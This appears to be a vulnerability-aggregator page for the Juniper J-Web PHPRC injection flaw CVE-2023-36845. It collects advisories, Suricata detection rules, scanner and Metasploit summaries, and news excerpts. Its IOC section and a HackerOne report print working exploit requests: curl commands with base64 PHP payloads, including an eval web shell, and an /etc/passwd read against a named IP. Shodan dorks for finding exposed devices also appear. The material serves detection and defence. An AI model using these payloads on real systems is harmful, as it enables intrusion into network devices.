CVE-2023-36845
published 2023-08-17CVE-2023-36845: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based…
PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2023-11-17
Exploited in the wild
EPSS
93.55%
99.8th percentile
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, network-based attacker to remotely execute code.
Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code.
This issue affects Juniper Networks Junos OS on EX Series
and
SRX Series:
* All versions prior to
20.4R3-S9;
* 21.1 versions 21.1R1 and later;
* 21.2 versions prior to 21.2R3-S7;
* 21.3 versions prior to 21.3R3-S5;
* 21.4 versions prior to 21.4R3-S5;
* 22.1 versions
prior to
22.1R3-S4;
* 22.2 versions
prior to
22.2R3-S2;
* 22.3 versions
prior to
22.3R2-S2, 22.3R3-S1;
* 22.4 versions
prior to
22.4R2-S1, 22.4R3;
* 23.2 versions prior to 23.2R1-S1, 23.2R2.
Affected
25 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| juniper | ex_series | — | — |
| juniper | j-web | — | — |
| juniper | junos | < 20.4 | 20.4 |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos | — | — |
| juniper | junos_os | — | — |
| juniper | srx_series | — | — |
| juniper_networks | junos_os | < 20.4R3-S9 | 20.4R3-S9 |
| juniper_networks | junos_os | >= 21.1 < 21.1* | 21.1* |
| juniper_networks | junos_os | >= 21.2 < 21.2R3-S7 | 21.2R3-S7 |
| juniper_networks | junos_os | >= 21.3 < 21.3R3-S5 | 21.3R3-S5 |
| juniper_networks | junos_os | >= 21.4 < 21.4R3-S5 | 21.4R3-S5 |
| juniper_networks | junos_os | >= 22.1 < 22.1R3-S4 | 22.1R3-S4 |
| juniper_networks | junos_os | >= 22.2 < 22.2R3-S2 | 22.2R3-S2 |
| juniper_networks | junos_os | >= 22.3 < 22.3R2-S2, 22.3R3-S1 | 22.3R2-S2, 22.3R3-S1 |
| juniper_networks | junos_os | >= 22.4 < 22.4R2-S1, 22.4R3 | 22.4R2-S1, 22.4R3 |
| juniper_networks | junos_os | >= 23,2 < 23.2R1-S1, 23.2R2 | 23.2R1-S1, 23.2R2 |
Detection & IOCsextracted from sources · hover to see the quote
commandcurl 'localhost/cgi-bin/app.cgi?PHPRC=/dev/fd/0' --data "data=allow_url_include%3D1%0Aauto_prepend_file%3D%22data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD8gc2hlbGxfZXhlYygiaWQgPiAvdG1wLzEiKTsgPz4%3D%22"↗
commandrs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]↗
otherallow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4="↗
sigma↗
shodan-query: title:"Juniper Web Device Manager"
- →Detect HTTP requests to /webauth_operation.php containing the PHPRC parameter in the query string or POST body, especially pointing to /dev/fd/0 or /var/tmp/ paths. ↗
- →Detect HTTP requests where the PHPRC variable is set to /dev/fd/0, enabling stdin-based PHP config injection without file upload. ↗
- →Detect POST bodies to J-Web endpoints containing 'allow_url_include' and 'auto_prepend_file' directives, particularly with data:// URI schemes including base64-encoded payloads. ↗
- →Detect HTTP requests to /webauth_operation.php with POST parameter 'rs=do_upload' and rsargs[] containing fileData with data:text/html;base64 and .php or .ini filenames — indicative of the watchTowr two-file exploit chain. ↗
- →Monitor for Juniper J-Web interfaces (title:'Juniper Web Device Manager') exposed on the internet via Shodan/Censys as a discovery indicator for vulnerable devices. ↗
- →The fileless RCE exploit can be delivered in a single curl command without uploading files; look for HTTP requests to J-Web CGI endpoints with URL-encoded 'allow_url_include' and 'auto_prepend_file' in POST data. ↗
- →The Metasploit module exploits this via /dev/fd/0 as PHPRC and uses data:// protocol with base64-encoded PHP payload in auto_prepend_file; detect these patterns in HTTP request bodies targeting Junos J-Web. ↗
- ·The single-CVE fileless exploit (CVE-2023-36845 alone) does not require file upload and bypasses the need for CVE-2023-36846; it affects older devices that lack the do_fileUpload() function, broadening the vulnerable population beyond the original chained exploit. ↗
- ·The Metasploit JAIL_BREAK option attempts to steal tokens from an authenticated J-Web user to overwrite the root password hash and then authenticate via SSH; if no user is authenticated, it attempts to create one — this secondary stage requires SSH access and may leave forensic artifacts in /etc/master.passwd. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-q56g-qr28-qh57: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, netw
ghsa_unreviewed·2023-08-17
CVE-2023-36845 [CRITICAL] CWE-473 GHSA-q56g-qr28-qh57: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, netw
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, network-based attacker to control certain, important environments variables.
Utilizing a crafted request an attacker is able to modify a certain PHP environment variable leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
This issue affects Juniper Networks Junos OS on SRX Series:
* All versions prior to 21.4R3-S5;
* 22.1 versions
prior to
22.1R3-S4;
* 22.2 versions
prior to
22.2R3-S2;
* 22.3 versions
prior to
22.3R2-S2, 22.3R3-S1;
* 22.4 versions
prior to
22.4R2-S1, 22.4R3;
* 23.2 versions prior to 23.2R1-S1, 23.2R2.
VulnCheck
Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
vulncheck·2023·CVSS 9.8
CVE-2023-36845 [CRITICAL] CWE-473 Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
Juniper Junos OS on EX Series and SRX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control an important environment variable. Using a crafted request, which sets the variable PHPRC, an attacker is able to modify the PHP execution environment allowing the injection und execution of code.
Affected: Juniper Junos OS
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Exploitation References: https://twitter.com/Shadowserver/status/1696512418036486246; https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Ser
CISA
Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
cisa·2023-11-13·CVSS 9.8
CVE-2023-36845 [CRITICAL] CWE-473 Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
Vulnerability: Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
Affected: Juniper Junos OS
Juniper Junos OS on EX Series and SRX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control an important environment variable. Using a crafted request, which sets the variable PHPRC, an attacker is able to modify the PHP execution environment allowing the injection und execution of code.
Required Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Notes: https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combin
Juniper
CVE-2023-36845: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, ne
vendor_juniper·2023-08-17·CVSS 9.8
CVE-2023-36845 [CRITICAL] CWE-473 CVE-2023-36845: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, ne
CVE-2023-36845: A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series
and SRX Series
allows an unauthenticated, network-based attacker to remotely execute code.
Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code.
This issue affects Juniper Networks Junos OS on EX Series
and
SRX Series:
* All versions prior to
20.4R3-S9;
* 21.1 versions 21.1R1 and later;
* 21.2 versions prior to 21.2R3-S7;
* 21.3 versions prior to 21.3R3-S5;
* 21.4 versions prior to 21.4R3-S5;
* 22.1 versions
prior to
22.1R3-S4;
* 22.2 versions
prior to
22.2R3-S2;
* 22.3 versions
prior to
22.3R2-S2, 22.3R3-S1;
* 22.4 versions
prior to
22.4R2-S1, 22.4R
Suricata
ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M2 (CVE-2023-36844 CVE-2023-36845)
suricata·2023-09-01·CVSS 5.3
CVE-2023-36844 [MEDIUM] ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M2 (CVE-2023-36844 CVE-2023-36845)
ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M2 (CVE-2023-36844 CVE-2023-36845)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M2 (CVE-2023-36844 CVE-2023-36845)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/webauth_operation.php"; http.request_body; content:"|0d 0a|Content|2d|Disposition|3a 20|form|2d|data|3b 20|name|3d 22|PHPRC|22 0d 0a 0d 0a 2f|var|2f|tmp|2f|"; fast_pattern; reference:url,supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution; reference:url,labs.watchtowr.com/cve-2
Suricata
ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M1 (CVE-2023-36844 CVE-2023-36845)
suricata·2023-09-01·CVSS 5.3
CVE-2023-36844 [MEDIUM] ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M1 (CVE-2023-36844 CVE-2023-36845)
ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M1 (CVE-2023-36844 CVE-2023-36845)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Junos OS - Unauthenticated PHPRC Environmental Variable Modification M1 (CVE-2023-36844 CVE-2023-36845)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/webauth_operation.php"; content:"PHPRC=|2f|var|2f|tmp|2f|"; fast_pattern; reference:url,supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution; reference:url,labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/; reference:cve,2023-36844; reference:cve,2023-36845;
Exploit-DB
Juniper-SRX-Firewalls&EX-switches - (PreAuth-RCE) (PoC)
exploitdb·2024-02-02·CVSS 9.8
CVE-2023-36845 [CRITICAL] Juniper-SRX-Firewalls&EX-switches - (PreAuth-RCE) (PoC)
Juniper-SRX-Firewalls&EX-switches - (PreAuth-RCE) (PoC)
---
# ***************************************************************************************************
# Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC)
# Description:
#
# This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.
# It executes the phpinfo() function on the login page of the target device,
# allowing to inspect the PHP configuration. also this script has the option to save the phpinfo()
# output to a file for further analysis.
#
# Shodan Dork: http.favicon.hash:2141724739
# Date: 2023/10/01
# Exploit Author: whiteOwl ([email protected])
# Vendor Homepage: https://whiteowl-pub.github.io
# Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5,
#
Nuclei
Juniper Devices - Remote Code Execution
nuclei·CVSS 5.3
CVE-2023-36844 [MEDIUM] Juniper Devices - Remote Code Execution
Juniper Devices - Remote Code Execution
Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
Template:
id: CVE-2023-36844
info:
name: Juniper Devices - Remote Code Execution
author: princechaddha,ritikchaddha
severity: medium
description: |
Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modifi
Metasploit
Junos OS PHPRC Environment Variable Manipulation RCE
metasploit
Junos OS PHPRC Environment Variable Manipulation RCE
Junos OS PHPRC Environment Variable Manipulation RCE
This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls and EX switches. The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin by opening /dev/fd/0. The exploit also makes use of two useful PHP features. The first being 'auto_prepend_file' which causes the provided file to be added using the 'require' function. The second PHP function is 'allow_url_include' which allows the use of URL-aware fopen wrappers. By enabling allow_url_include, the exploit can use any protocol wrapper with auto_prepend_file. The module then uses data:// to provide a file inline which includes the base64 encoded PHP payload. By default this exploit returns a session confined t
Nuclei
Juniper J-Web - Remote Code Execution
nuclei·CVSS 9.8
CVE-2023-36845 [CRITICAL] Juniper J-Web - Remote Code Execution
Juniper J-Web - Remote Code Execution
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands
Template:
id: CVE-2023-36845
info:
name: Juniper J-Web - Remote Code Execution
author: yaser_s
severity: critical
description: |
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Successful exploitation of this vulnera
Tenable
Verizon 2025 DBIR: Tenable Research Collaboration Shines a Spotlight on CVE Remediation Trends
blogs_tenable·2025-04-23
Verizon 2025 DBIR: Tenable Research Collaboration Shines a Spotlight on CVE Remediation Trends
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Greynoiseio
GreyNoise Detects Active Exploitation of CVEs Mentioned in Black Basta’s Leaked Chat Logs
blogs_greynoiseio·2025-02-26·CVSS 9.8
[CRITICAL] GreyNoise Detects Active Exploitation of CVEs Mentioned in Black Basta’s Leaked Chat Logs
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Qualys
Defense Lessons From the Black Basta Ransomware Playbook
blogs_qualys·2025-02-25
Defense Lessons From the Black Basta Ransomware Playbook
## Table of Contents
Know Your Enemys Playbook
Attackers Move Fast
How Qualys Can Help
The cybersecurity world was rocked last week by a massive leak of Black Basta’s internal communications that emerged from the group’s chat logs. Triggered by internal conflicts and a retaliatory data dump following attacks on Russian banks, the exposed records offer a rare glimpse into Black Basta’s tactics, operations, and leadership.
We’ve analyzed these newly unveiled tactics, and in this blog, we equip security teams with clear, actionable insights. We aim to highlight the key lessons learned—like immediate patching, tighter access controls, and rapid incident response—and provide an urgent call to action. This practical guide aims to help organizations strengthen their defenses against evolving
Qualys
Defense Lessons From the Black Basta Ransomware Playbook | Qualys
blogs_qualys·2025-02-25
Defense Lessons From the Black Basta Ransomware Playbook | Qualys
#### Table of Contents
- Know Your Enemys Playbook
- Attackers Move Fast
- How Qualys Can Help
The cybersecurity world was rocked last week by a massive leak of Black Basta’s internal communications that emerged from the group’s chat logs. Triggered by internal conflicts and a retaliatory data dump following attacks on Russian banks, the exposed records offer a rare glimpse into Black Basta’s tactics, operations, and leadership.
We’ve analyzed these newly unveiled tactics, and in this blog, we equip security teams with clear, actionable insights. We aim to highlight the key lessons learned—like immediate patching, tighter access controls, and rapid incident response—and provide an urgent call to action. This practical guide aims to help organizations strengthen their defenses against ev
Bleepingcomputer
Juniper warns of critical RCE bug in its firewalls and switches
blogs_bleepingcomputer·2024-01-12·CVSS 9.8
CVE-2024-21591 [CRITICAL] Juniper warns of critical RCE bug in its firewalls and switches
## Juniper warns of critical RCE bug in its firewalls and switches
## Sergiu Gatlan
Juniper Networks has released security updates to fix a critical pre-auth remote code execution (RCE) vulnerability in its SRX Series firewalls and EX Series switches.
Found in the devices' J-Web configuration interfaces and tracked as CVE-2024-21591, this critical security flaw can also be exploited by unauthenticated threat actors to get root privileges or launch denial-of-service (DoS) attacks against unpatched devices.
"This issue is caused by use of an insecure function allowing an attacker to overwrite arbitrary memory," the company explained in a security advisory published Wednesday.
At the moment, Juniper's Security Incident Response Team has no evidence that the vulnerability is being exploit
Bleepingcomputer
CISA warns of actively exploited Juniper pre-auth RCE exploit chain
blogs_bleepingcomputer·2023-11-13·CVSS 5.3
CVE-2023-36844 [MEDIUM] CISA warns of actively exploited Juniper pre-auth RCE exploit chain
## CISA warns of actively exploited Juniper pre-auth RCE exploit chain
## Sergiu Gatlan
CISA warned federal agencies today to secure Juniper devices on their networks by Friday against four vulnerabilities now used in remote code execution (RCE) attacks as part of a pre-auth exploit chain.
The alert comes one week after Juniper updated its advisory to notify customers that the flaws found in Juniper's J-Web interface (tracked as CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, and CVE-2023-36847) have been successfully exploited in the wild.
"Juniper SIRT is now aware of successful exploitation of these vulnerabilities. Customers are urged to immediately upgrade," the company said .
The warnings come after the ShadowServer threat monitoring service revealed it was already detecting exp
Bleepingcomputer
Thousands of Juniper devices vulnerable to unauthenticated RCE flaw
blogs_bleepingcomputer·2023-09-18·CVSS 5.3
CVE-2023-36844 [MEDIUM] Thousands of Juniper devices vulnerable to unauthenticated RCE flaw
## Thousands of Juniper devices vulnerable to unauthenticated RCE flaw
## Bill Toulas
An estimated 12,000 Juniper SRX firewalls and EX switches are vulnerable to a fileless remote code execution flaw that attackers can exploit without authentication.
In August, Juniper disclosed numerous 'PHP environment variant manipulation' (CVE-2023-36844/CVE-2023-36845) and 'Missing Authentication for Critical Function' (CVE-2023-36846/CVE-2023-36847) vulnerabilities that by themselves only had a 'medium' severity rating of 5.3.
However, when chained together, these vulnerabilities became a critical remote code execution flaw with a rating of 9.8.
In a later technical report , watchTowr Labs released a PoC that chained the CVE-2023-36845 and CVE-2023-36846 flaws, allowing the researchers to remote
Sentinelone
Black Basta
blogs_sentinelone·2022-11-30
Black Basta
How It Works The Singularity XDR Difference
Singularity Marketplace One-Click Integrations to Unlock the Power of XDR
Pricing & Packaging Comparisons and Guidance at a Glance
Purple AI Accelerate SecOps with Generative AI
Singularity Hyperautomation Easily Automate Security Processes
AI-SIEM The AI SIEM for the Autonomous SOC
Singularity Data Lake AI-Powered, Unified Data Lake
Singularity Data Lake for Log Analytics Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
Singularity Endpoint Autonomous Prevention, Detection, and Response
Singularity XDR Native & Open Protection, Detection, and Response
Singularity RemoteOps Forensics Orchestrate Forensics at Scale
Singularity
Threat Intelligence Comprehensive Adversary Intelligence
Singularity Vulnerability Management
Sentinelone
Black Basta
blogs_sentinelone
Black Basta
# Black Basta Ransomware: In-Depth Analysis, Detection, and Mitigation
## Summary of Black Basta Ransomware
Black Basta first emerged in early 2022. The ransomware family is an evolution of the Hermes/Ryuk/Conti families. Black Basta was heavily advertised in underground cybercrime markets. Black Basta practices double extortion – demanding payment for a decryptor, as well as for the non-release of stolen data. There are Windows and LInux variants of Black Basta ransomware. The group is responsible for hundreds of attacks against global targets of varying sectors.
February 2025 Update: Nearly a year’s worth of Black Basta chat logs have been released on Telegram, providing detailed insight into the groups operational workflow, reconnaissance activities, and specific userID and details o
CTF
Lyra's Tavern - Easy / README
ctf_writeups·2025
CVE-2023-36845 Lyra's Tavern - Easy / README
Lyra's Tavern
5th February 2025
Prepared By: `Pyp`
Challenge Author(s): `Pyp`
Difficulty: Easy
# Synopsis
The challenge is a secure coding challenge targetting a fileless RCE modelling the [Juniper CVE](https://vulncheck.com/blog/juniper-cve-2023-36845) that allowed fileless remote code execution by abusing PHP environment variables. By properly enumerating the server, we can be able to identify the vulnerability and patch it accordingly.
## Description
The challenge involves an Apache web server with a custom configuration. The player is presented with 3 services available:
- Web server on internal port 3000 exposed on local port 80
- SMB services on both ports 445
- Checker service on both port 1337
The SMB service allows the user to easily enumerate the source code and make nece
HackerOne
Remote code execution [CVE-2023-36845]
hackerone·2024-10-09·CVSS 9.8
CVE-2023-36845 [CRITICAL] Remote code execution [CVE-2023-36845]
Remote code execution [CVE-2023-36845]
### CVE-2023-36845
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify a certain PHP environment variable leading to partial loss of integrity,
## POC :
with curl
41.205.30.222 = host-41.205.30.222.mtn.cm
```
curl -sk "https://41.205.30.222/?PHPRC=/dev/fd/0" -X POST -d 'auto_prepend_file="/etc/passwd"'
```
{F2727487}
## Impact
CVE-2023-36845 that allows an unauthenticated and remote attacker to execute arbitrary code on Juniper firewalls without creating a file on the system.
http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/176969/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.htmlhttps://supportportal.juniper.net/JSA72300http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/176969/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.htmlhttps://supportportal.juniper.net/JSA72300https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-36845
2023-08-17
Published
2023-11-13
Added to CISA KEV
Exploited in the wild